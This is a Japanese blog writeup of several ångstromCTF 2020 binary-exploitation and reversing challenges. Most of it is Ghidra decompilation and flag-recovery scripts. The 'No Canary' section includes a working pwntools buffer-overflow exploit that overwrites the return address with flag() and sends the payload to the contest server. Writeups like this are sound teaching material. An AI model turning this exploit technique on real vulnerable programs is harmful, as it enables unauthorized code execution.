好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

ångstromCTF 2020 Binary, Rev の writeup

2020年 3/14(土)9:00 - 3/19(木)9:00 JST で開催された、ångstromCTFBinary, Rev分野のwriteupです。CTF Timesはこちら
他の分野のwriteup, 戦績はこちら。

kusuwada.hatenablog.com

[Binary] No Canary

Agriculture is the most healthful, most useful and most noble employment of man.

George Washington

Can you call the flag function in this program (source)? Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.

Hint

What's dangerous about the gets function?

no_canaryという名前の実行ファイルと、下記のno_canary.cが配布されます。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    puts("Ahhhh, what a beautiful morning on the farm!\n");
    puts("       _.-^-._    .--.");
    puts("    .-'   _   '-. |__|");
    puts("   /     |_|     \\|  |");
    puts("  /               \\  |");
    puts(" /|     _____     |\\ |");
    puts("  |    |==|==|    |  |");
    puts("  |    |--|--|    |  |");
    puts("  |    |==|==|    |  |");
    puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");
    puts("Wait, what? It's already noon!");
    puts("Why didn't my canary wake me up?");
    puts("Well, sorry if I kept you waiting.");
    printf("What's your name? ");

    char name[20];
    gets(name);

    printf("Nice to meet you, %s!\n", name);
}

flag()関数を読み出すことができれば、flag.txtを表示してくれるみたい。

gets(name);

の部分にBufferOverflowの脆弱性があるので、ここにflag()のアドレスを突っ込んで呼び出してもらいます。

まずflag()関数のアドレスを調べます。※コマンドは OS X 仕様。

$ gobjdump -d no_canary | grep flag
0000000000401186 <flag>:

radare2で解析したところ、namevar int local_20h @ rbp-0x20の部分に格納されるらしい。ので、+8した0x28がbuffer。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 20700
flag_addr = 0x00401186
buffer = 0x28

e = ELF('./no_canary')

def send_attack_name(attack):
    r = remote(host, port)
    r.recvuntil(b"What's your name? ")
    r.sendline(attack)
    res = r.recvall()
    print(res)
    r.close()

attack = b'a'*buffer + p64(flag_addr)
print(attack)
send_attack_name(attack)

実行結果

$ python solve.py 
[*] '***/angstrtomctf2020/binary/No Canary/no_canary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x11@\x00\x00\x00\x00\x00'
[+] Opening connection to shell.actf.co on port 20700: Done
[+] Recieving all data: Done (124B)
[*] Closed connection to shell.actf.co port 20700
b'Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x11@!\nactf{that_gosh_darn_canary_got_me_pwned!}\nSegmentation fault\n'

[Rev] Revving Up

Clam wrote a program for his school's cybersecurity club's first rev lecture! Can you get it to give you the flag? You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.

実行ファイルrevving_upが配布されます。
shell server 上で実行してみるとこんな感じ。

$ ./revving_up 
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Now run the program with a command line argument of "banana" and you'll be done!

途中でgive flagを入れただけ。
アドバイスの通り、bananaを引数にして実行するとflagが出ました。

$ ./revving_up banana
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Well I think it's about time you got the flag!
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

[Rev] Windows of Opportunity

Clam's a windows elitist and he just can't stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the "superior" operating system.

Alternatively, find it at /problems/2020/windows_lives_matter/ on the shell server (even though you won't actually be able to run it from the shell server).

windows_of_opportunity.exe が配布されます。windows用のチャレンジのようです。shell server上に配置してあると書いてありますが、実行できないんじゃなくて私が見たときはpathもなかった。

win環境めんどいからstringsコマンドで出ないかなーって思ったら出ちゃいました。

$ strings windows_of_opportunity.exe | grep actf
bactf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

[Rev] Taking Off

So you started revving up, but is it enough to take off? Find the problem in /problems/2020/taking_off/ in the shell server.

実行ファイルtaking_offが配布されます。
ヒントにもあったので、ghidraでdecompileしてもらいました。
いつものごとく、decompile結果の変数を読みやすく置換しています。

undefined8 main(int iParm1, long lParm2) {
  int invalid;
  undefined8 retCode;  // 0:success, 1:failed
  size_t password_len;
  uint num1;
  uint num2;
  uint num3;
  int i;
  int i_password_len;
  char *newline_idx;
  byte input_password [136];
  
  puts("So you figured out how to provide input and command line arguments.");
  puts("But can you figure out what input to provide?");
  if (iParm1 == 5) {
    string_to_int(*(undefined8 *)(lParm2 + 8),&num1,&num1);     // 8
    string_to_int(*(undefined8 *)(lParm2 + 0x10),&num2,&num2);  // 16
    string_to_int(*(undefined8 *)(lParm2 + 0x18),&num3,&num3);  // 24
    invalid = is_invalid((ulong)num1);  // 0 <= num1 <= 9 なら 0
    if (invalid == 0) {
      invalid = is_invalid((ulong)num2);  // 0 <= num2 <= 9 なら 0
      if (invalid == 0) {
        invalid = is_invalid((ulong)num3);  // 0 <= num3 <= 9 なら 0
        if ((invalid == 0) && (num3 + num2 * 100 + num1 * 10 == 0x3a4)) {  // 0x3a4 = 932
          invalid = strcmp(*(char **)(lParm2 + 0x20),"chicken");  // 32
          if (invalid == 0) {
            puts("Well, you found the arguments, but what\'s the password?");
            fgets((char *)input_password,0x80,stdin);
            newline_idx = strchr((char *)input_password,10);
            if (newline_idx != (char *)0x0) {
              *newline_idx = '\0';
            }
            password_len = (int)strlen((char *)input_password);
            i = 0;
            while (i <= password_len) {
              if ((input_password[(long)i] ^ 0x2a) != desired[(long)i]) {
                puts("I\'m sure it\'s just a typo. Try again.");
                retCode = 1;
                goto LAB_EXIT;
              }
              i = i + 1;
            }
            puts("Good job! You\'re ready to move on to bigger and badder rev!");
            print_flag();
            retCode = 0;
            goto LAB_EXIT;
          }
        }
      }
    }
    puts("Don\'t try to guess the arguments, it won\'t work.");
    retCode = 1;
  }
  else {
    puts("Make sure you have the correct amount of command line arguments!");
    retCode = 1;
  }
LAB_EXIT:
  return retCode;
}

undefined8 is_invalid(int iParm1) {
  undefined8 retCode;  // 0:success, 1:failed
  
  if ((iParm1 < 0) || (9 < iParm1)) {
    retCode = 1;
  }
  else {
    retCode = 0;
  }
  return retCode;
}

desiredの配列↓

5a 46 4f 4b 59 4f 0a 4d 43 5c 4f 0a 4c 46 4b 4d 2a

実行時に与えるパラメーターを考えなさいとのこと。

  if (iParm1 == 5) {

より、パラメータの数iParam15

また、

string_to_int(*(undefined8 *)(lParm2 + 8),&num1,&num1);
string_to_int(*(undefined8 *)(lParm2 + 0x10),&num2,&num2);
string_to_int(*(undefined8 *)(lParm2 + 0x18),&num3,&num3);
...
if ((iVar1 == 0) && (num3 + num2 * 100 + num1 * 10 == 0x3a4)) {
          iVar1 = strcmp(*(char **)(lParm2 + 0x20),"chicken");

より、

num1 = 3
num2 = 9
num3 = 2

その後にchickenが続きます。試してみましょう。

$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?

お、いい感じ!進んでます。

if ((input_password[(long)i] ^ 0x2a) != desired[(long)i]) {

この行より、desiredの配列を0x2aとxorしたのがpasswordのようです。

desired = "5a 46 4f 4b 59 4f 0a 4d 43 5c 4f 0a 4c 46 4b 4d 2a"

password = ''
for d in desired.split(' '):
    password += chr(int(d,16) ^ 0x2a)
print(password)

実行結果

$ python solve.py 
please give flag

よし。パスワードもわかったので、shell server上で実行します。

$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
please give flag
Good job! You're ready to move on to bigger and badder rev!
actf{th3y_gr0w_up_s0_f4st}

٩(๑❛ᴗ❛๑)尸

[Rev] Autorev, Assemble!

Clam was trying to make a neural network to automatically do reverse engineering for him, but he made a typo and the neural net ended up making a reverse engineering challenge instead of solving one! Can you get the flag?

Find it on the shell server at /problems/2020/autorev_assemble/ or over tcp at nc shell.actf.co 20203.

Hint

Don't do this by hand.

実行ファイルautorev_assembleが配布されます。
指定のホストにつないでみると、

$ nc shell.actf.co 20203

PROBLEM CREATION MODE: ON
VISUAL BASIC GUI: ON
HACKERMAN: ON
HOTEL: TRIVAGO
INPUT: ?
YOUR SKILL: INSUFFICIENT

最初は何も出てきませんが、何か入力してEnterを押すと、上記のような情報が出てきて接続が切れます。

ghidraでdecompileすると、こんなmain関数が。

undefined8 main(void) {
  int iVar1;
  
  puts("PROBLEM CREATION MODE: ON");
  puts("VISUAL BASIC GUI: ON");
  puts("HACKERMAN: ON");
  puts("HOTEL: TRIVAGO");
  puts("INPUT: ?");
  fgets(z,0x100,stdin);
  iVar1 = f992(z);
  if (((((((((iVar1 != 0) && (iVar1 = f268(z), iVar1 != 0)) && (iVar1 = f723(z), iVar1 != 0)) &&
          ((iVar1 = f611(z), iVar1 != 0 && (iVar1 = f985(z), iVar1 != 0)))) &&
         ((iVar1 = f45(z), iVar1 != 0 &&
          ((iVar1 = f189(z), iVar1 != 0 && (iVar1 = f362(z), iVar1 != 0)))))) &&
        ((iVar1 = f857(z), iVar1 != 0 &&
         ((((iVar1 = f650(z), iVar1 != 0 && (iVar1 = f272(z), iVar1 != 0)) &&
(中略)
           ((iVar1 = f143(z), iVar1 != 0 &&
            ((iVar1 = f405(z), iVar1 != 0 && (iVar1 = f502(z), iVar1 != 0)))))))))) &&
        (iVar1 = f505(z), iVar1 != 0)) &&
       (((iVar1 = f123(z), iVar1 != 0 && (iVar1 = f543(z), iVar1 != 0)) &&
        (iVar1 = f718(z), iVar1 != 0)))) &&
      ((((iVar1 = f460(z), iVar1 != 0 && (iVar1 = f799(z), iVar1 != 0)) &&
        ((iVar1 = f387(z), iVar1 != 0 &&
         ((iVar1 = f539(z), iVar1 != 0 && (iVar1 = f684(z), iVar1 != 0)))))) &&
       ((iVar1 = f140(z), iVar1 != 0 &&
        (((((iVar1 = f597(z), iVar1 != 0 && (iVar1 = f289(z), iVar1 != 0)) &&
           (iVar1 = f570(z), iVar1 != 0)) &&
          ((iVar1 = f717(z), iVar1 != 0 && (iVar1 = f47(z), iVar1 != 0)))) &&
         (((iVar1 = f365(z), iVar1 != 0 &&
           ((iVar1 = f626(z), iVar1 != 0 && (iVar1 = f923(z), iVar1 != 0)))) &&
          ((iVar1 = f372(z), iVar1 != 0 &&
           ((iVar1 = f906(z), iVar1 != 0 && (iVar1 = f915(z), iVar1 != 0)))))))))))))))) {
    puts("CHALLENGE: SOLVED");
    return 0;
  }
  puts("YOUR SKILL: INSUFFICIENT");
  return 0;
}

f***()の関数は、それぞれ定義があります。
HintにDon't do this by hand.とあるけど…。
ざっと見た感じ、それぞれの条件式は下記のように単純で、一つずつ丁寧に紐解いていけば答えが出てきそう。全部で200個。手動で出来なくもないぞ…。どうする…?

ulong f97(long lParm1)

{
  return (ulong)(*(char *)(lParm1 + 0xd) == 'g');
}

この関数だと、0xd番目の文字がgということがわかる。

結局、考えたりスクリプト書くより、200個 & ghidraで見やすくなってるなら手動のほうが早そう、ということで手動で関数を一つずつ確認してメモを取っていった。こちらメモ。

f***などの関数番号, index(hex), 文字、の順番。

992, 62, 0
268, b9, i
723, 4b, c
611, 55, e
985, 5, c
45, 4, k
189, 46, I
362, 9, n
857, 3c, g
650, 3, c
272, 6, h
759, 52, h
97, d, g
197, 2, o
(中略)
140, 6a, 0
597, 6e, m
289, bf, -
570, 7b, _
717, c7, .
47, 78, y
365, c0, b
626, b5, f
923, 7d, 1
372, c4, a
906, 8e, b
915, a2, a

これを下記のスクリプトにかけると、flagが出てきました。

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

with open('memo.txt', 'r') as f:
    data = f.readlines()

flag = ['*'] * 200
for d in data:
    idx, c = d.strip().split(', ')[1:]
    if c == '-':
        c = ' '
    flag[int(idx, 16)] = c
print(''.join(flag))

実行結果

$ python solve,py 
Blockchain*big data solutions now with added machine learning. Enjoy! I sincerely hope you actf{wr0t3_4_pr0gr4m_t0_h3lp_y0u_w1th_th1s_df93171eb49e21a3a436e186bc68a5b2d8ed} instead of doing it by hand.

一文字欠けちゃったけど、flagの箇所じゃなかったのでセーフ。
wrote a program to help you with this instead of doing it by hand がflagのメッセージ。うん、プログラム一応書いたし!